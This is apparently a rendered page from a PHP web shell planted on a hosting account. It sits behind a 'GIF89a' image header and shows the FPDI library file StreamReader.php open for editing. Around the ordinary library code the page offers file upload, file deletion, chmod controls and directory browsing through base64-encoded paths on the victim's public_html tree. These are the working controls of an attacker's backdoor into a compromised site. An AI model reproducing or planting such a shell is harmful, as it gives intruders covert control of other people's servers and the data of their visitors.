GIF89a
 
      


   			








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<hr>StreamReader.php<form method=post action="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI%3D&f=U3RyZWFtUmVhZGVyLnBocA%3D%3D"><input name="f" value="StreamReader.php"><textarea name="t">&lt;?php
/**
 * This file is part of FPDI
 *
 * @package   setasign\Fpdi
 * @copyright Copyright (c) 2019 Setasign - Jan Slabon (https://www.setasign.com)
 * @license   http://opensource.org/licenses/mit-license The MIT License
 */

namespace setasign\Fpdi\PdfParser;

/**
 * A stream reader class
 *
 * @package setasign\Fpdi\PdfParser
 */
class StreamReader
{
    /**
     * Creates a stream reader instance by a string value.
     *
     * @param string $content
     * @param int $maxMemory
     * @return StreamReader
     */
    public static function createByString($content, $maxMemory = 2097152)
    {
        $h = \fopen('php://temp/maxmemory:' . ((int) $maxMemory), 'r+b');
        \fwrite($h, $content);
        \rewind($h);

        return new self($h, true);
    }

    /**
     * Creates a stream reader instance by a filename.
     *
     * @param string $filename
     * @return StreamReader
     */
    public static function createByFile($filename)
    {
        $h = \fopen($filename, 'rb');
        return new self($h, true);
    }

    /**
     * Defines whether the stream should be closed when the stream reader instance is deconstructed or not.
     *
     * @var bool
     */
    protected $closeStream;

    /**
     * The stream resource.
     *
     * @var resource
     */
    protected $stream;

    /**
     * The byte-offset position in the stream.
     *
     * @var int
     */
    protected $position;

    /**
     * The byte-offset position in the buffer.
     *
     * @var int
     */
    protected $offset;

    /**
     * The buffer length.
     *
     * @var int
     */
    protected $bufferLength;

    /**
     * The total length of the stream.
     *
     * @var int
     */
    protected $totalLength;

    /**
     * The buffer.
     *
     * @var string
     */
    protected $buffer;

    /**
     * StreamReader constructor.
     *
     * @param resource $stream
     * @param bool $closeStream Defines whether to close the stream resource if the instance is destructed or not.
     */
    public function __construct($stream, $closeStream = false)
    {
        if (!\is_resource($stream)) {
            throw new \InvalidArgumentException(
                'No stream given.'
            );
        }

        $metaData = \stream_get_meta_data($stream);
        if (!$metaData['seekable']) {
            throw new \InvalidArgumentException(
                'Given stream is not seekable!'
            );
        }

        $this-&gt;stream = $stream;
        $this-&gt;closeStream = $closeStream;
        $this-&gt;reset();
    }

    /**
     * The destructor.
     */
    public function __destruct()
    {
        $this-&gt;cleanUp();
    }

    /**
     * Closes the file handle.
     */
    public function cleanUp()
    {
        if ($this-&gt;closeStream &amp;&amp; is_resource($this-&gt;stream)) {
            \fclose($this-&gt;stream);
        }
    }

    /**
     * Returns the byte length of the buffer.
     *
     * @param bool $atOffset
     * @return int
     */
    public function getBufferLength($atOffset = false)
    {
        if ($atOffset === false) {
            return $this-&gt;bufferLength;
        }

        return $this-&gt;bufferLength - $this-&gt;offset;
    }

    /**
     * Get the current position in the stream.
     *
     * @return int
     */
    public function getPosition()
    {
        return $this-&gt;position;
    }

    /**
     * Returns the current buffer.
     *
     * @param bool $atOffset
     * @return string
     */
    public function getBuffer($atOffset = true)
    {
        if ($atOffset === false) {
            return $this-&gt;buffer;
        }

        $string = \substr($this-&gt;buffer, $this-&gt;offset);

        return (string) $string;
    }

    /**
     * Gets a byte at a specific position in the buffer.
     *
     * If the position is invalid the method will return false.
     *
     * If the $position parameter is set to null the value of $this-&gt;offset will be used.
     *
     * @param int|null $position
     * @return string|bool
     */
    public function getByte($position = null)
    {
        $position = (int) ($position !== null ? $position : $this-&gt;offset);
        if ($position &gt;= $this-&gt;bufferLength &amp;&amp;
            (!$this-&gt;increaseLength() || $position &gt;= $this-&gt;bufferLength)
        ) {
            return false;
        }

        return $this-&gt;buffer[$position];
    }

    /**
     * Returns a byte at a specific position, and set the offset to the next byte position.
     *
     * If the position is invalid the method will return false.
     *
     * If the $position parameter is set to null the value of $this-&gt;offset will be used.
     *
     * @param int|null $position
     * @return string|bool
     */
    public function readByte($position = null)
    {
        if ($position !== null) {
            $position = (int) $position;
            // check if needed bytes are available in the current buffer
            if (!($position &gt;= $this-&gt;position &amp;&amp; $position &lt; $this-&gt;position + $this-&gt;bufferLength)) {
                $this-&gt;reset($position);
                $offset = $this-&gt;offset;
            } else {
                $offset = $position - $this-&gt;position;
            }
        } else {
            $offset = $this-&gt;offset;
        }

        if ($offset &gt;= $this-&gt;bufferLength &amp;&amp;
            ((!$this-&gt;increaseLength()) || $offset &gt;= $this-&gt;bufferLength)
        ) {
            return false;
        }

        $this-&gt;offset = $offset + 1;
        return $this-&gt;buffer[$offset];
    }

    /**
     * Read bytes from the current or a specific offset position and set the internal pointer to the next byte.
     *
     * If the position is invalid the method will return false.
     *
     * If the $position parameter is set to null the value of $this-&gt;offset will be used.
     *
     * @param int $length
     * @param int|null $position
     * @return string
     */
    public function readBytes($length, $position = null)
    {
        $length = (int) $length;
        if ($position !== null) {
            // check if needed bytes are available in the current buffer
            if (!($position &gt;= $this-&gt;position &amp;&amp; $position &lt; $this-&gt;position + $this-&gt;bufferLength)) {
                $this-&gt;reset($position, $length);
                $offset = $this-&gt;offset;
            } else {
                $offset = $position - $this-&gt;position;
            }
        } else {
            $offset = $this-&gt;offset;
        }

        if (($offset + $length) &gt; $this-&gt;bufferLength &amp;&amp;
            ((!$this-&gt;increaseLength($length)) || ($offset + $length) &gt; $this-&gt;bufferLength)
        ) {
            return false;
        }

        $bytes = \substr($this-&gt;buffer, $offset, $length);
        $this-&gt;offset = $offset + $length;

        return $bytes;
    }

    /**
     * Read a line from the current position.
     *
     * @param int $length
     * @return string|bool
     */
    public function readLine($length = 1024)
    {
        if ($this-&gt;ensureContent() === false) {
            return false;
        }

        $line = '';
        while ($this-&gt;ensureContent()) {
            $char = $this-&gt;readByte();

            if ($char === &quot;\n&quot;) {
                break;
            }

            if ($char === &quot;\r&quot;) {
                if ($this-&gt;getByte() === &quot;\n&quot;) {
                    $this-&gt;addOffset(1);
                }
                break;
            }

            $line .= $char;

            if (\strlen($line) &gt;= $length) {
                break;
            }
        }

        return $line;
    }

    /**
     * Set the offset position in the current buffer.
     *
     * @param int $offset
     */
    public function setOffset($offset)
    {
        if ($offset &gt; $this-&gt;bufferLength || $offset &lt; 0) {
            throw new \OutOfRangeException(
                \sprintf('Offset (%s) out of range (length: %s)', $offset, $this-&gt;bufferLength)
            );
        }

        $this-&gt;offset = (int) $offset;
    }

    /**
     * Returns the current offset in the current buffer.
     *
     * @return int
     */
    public function getOffset()
    {
        return $this-&gt;offset;
    }

    /**
     * Add an offset to the current offset.
     *
     * @param int $offset
     */
    public function addOffset($offset)
    {
        $this-&gt;setOffset($this-&gt;offset + $offset);
    }

    /**
     * Make sure that there is at least one character beyond the current offset in the buffer.
     *
     * @return bool
     */
    public function ensureContent()
    {
        while ($this-&gt;offset &gt;= $this-&gt;bufferLength) {
            if (!$this-&gt;increaseLength()) {
                return false;
            }
        }
        return true;
    }

    /**
     * Returns the stream.
     *
     * @return resource
     */
    public function getStream()
    {
        return $this-&gt;stream;
    }

    /**
     * Gets the total available length.
     *
     * @return int
     */
    public function getTotalLength()
    {
        if ($this-&gt;totalLength === null) {
            $stat = \fstat($this-&gt;stream);
            $this-&gt;totalLength = $stat['size'];
        }

        return $this-&gt;totalLength;
    }

    /**
     * Resets the buffer to a position and re-read the buffer with the given length.
     *
     * If the $pos parameter is negative the start buffer position will be the $pos'th position from
     * the end of the file.
     *
     * If the $pos parameter is negative and the absolute value is bigger then the totalLength of
     * the file $pos will set to zero.
     *
     * @param int|null $pos Start position of the new buffer
     * @param int $length Length of the new buffer. Mustn't be negative
     */
    public function reset($pos = 0, $length = 200)
    {
        if ($pos === null) {
            $pos = $this-&gt;position + $this-&gt;offset;
        } elseif ($pos &lt; 0) {
            $pos = \max(0, $this-&gt;getTotalLength() + $pos);
        }

        \fseek($this-&gt;stream, $pos);

        $this-&gt;position = $pos;
        $this-&gt;buffer = $length &gt; 0 ? \fread($this-&gt;stream, $length) : '';
        $this-&gt;bufferLength = \strlen($this-&gt;buffer);
        $this-&gt;offset = 0;

        // If a stream wrapper is in use it is possible that
        // length values &gt; 8096 will be ignored, so use the
        // increaseLength()-method to correct that behavior
        if ($this-&gt;bufferLength &lt; $length &amp;&amp; $this-&gt;increaseLength($length - $this-&gt;bufferLength)) {
            // increaseLength parameter is $minLength, so cut to have only the required bytes in the buffer
            $this-&gt;buffer = \substr($this-&gt;buffer, 0, $length);
            $this-&gt;bufferLength = \strlen($this-&gt;buffer);
        }
    }

    /**
     * Ensures bytes in the buffer with a specific length and location in the file.
     *
     * @param int $pos
     * @param int $length
     * @see reset()
     */
    public function ensure($pos, $length)
    {
        if ($pos &gt;= $this-&gt;position
            &amp;&amp; $pos &lt; ($this-&gt;position + $this-&gt;bufferLength)
            &amp;&amp; ($this-&gt;position + $this-&gt;bufferLength) &gt;= ($pos + $length)
        ) {
            $this-&gt;offset = $pos - $this-&gt;position;
        } else {
            $this-&gt;reset($pos, $length);
        }
    }

    /**
     * Forcefully read more data into the buffer.
     *
     * @param int $minLength
     * @return bool Returns false if the stream reaches the end
     */
    public function increaseLength($minLength = 100)
    {
        $length = \max($minLength, 100);

        if (\feof($this-&gt;stream) || $this-&gt;getTotalLength() === $this-&gt;position + $this-&gt;bufferLength) {
            return false;
        }

        $newLength = $this-&gt;bufferLength + $length;
        do {
            $this-&gt;buffer .= \fread($this-&gt;stream, $newLength - $this-&gt;bufferLength);
            $this-&gt;bufferLength = \strlen($this-&gt;buffer);
        } while (($this-&gt;bufferLength !== $newLength) &amp;&amp; !\feof($this-&gt;stream));

        return true;
    }
}
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1s">/home/futureforeverco/public_html</a><hr>curdir: /home/futureforeverco/public_html/vendor/setasign/fpdi/src/PdfParser<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>129</td></tr><tr><td></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYw=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>66</td></tr><tr><td></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXIvQ3Jvc3NSZWZlcmVuY2U="/>CrossReference</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&f=Q3Jvc3NSZWZlcmVuY2U=&c=`+btoa(c):0" value="0755"></td><td>165</td></tr><tr><td></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXIvRmlsdGVy"/>Filter</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&f=RmlsdGVy&c=`+btoa(c):0" value="0755"></td><td>209</td></tr><tr><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&x=UGRmUGFyc2VyRXhjZXB0aW9uLnBocA==">X</a></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&f=UGRmUGFyc2VyRXhjZXB0aW9uLnBocA=="/>PdfParserException.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&f=UGRmUGFyc2VyRXhjZXB0aW9uLnBocA==&c=`+btoa(c):0" value="0644"></td><td>930</td></tr><tr><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&x=U3RyZWFtUmVhZGVyLnBocA==">X</a></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&f=U3RyZWFtUmVhZGVyLnBocA=="/>StreamReader.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&f=U3RyZWFtUmVhZGVyLnBocA==&c=`+btoa(c):0" value="0644"></td><td>12401</td></tr><tr><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&x=VG9rZW5pemVyLnBocA==">X</a></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&f=VG9rZW5pemVyLnBocA=="/>Tokenizer.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&f=VG9rZW5pemVyLnBocA==&c=`+btoa(c):0" value="0644"></td><td>3939</td></tr><tr><td></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXIvVHlwZQ=="/>Type</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&f=VHlwZQ==&c=`+btoa(c):0" value="0755"></td><td>333</td></tr></table>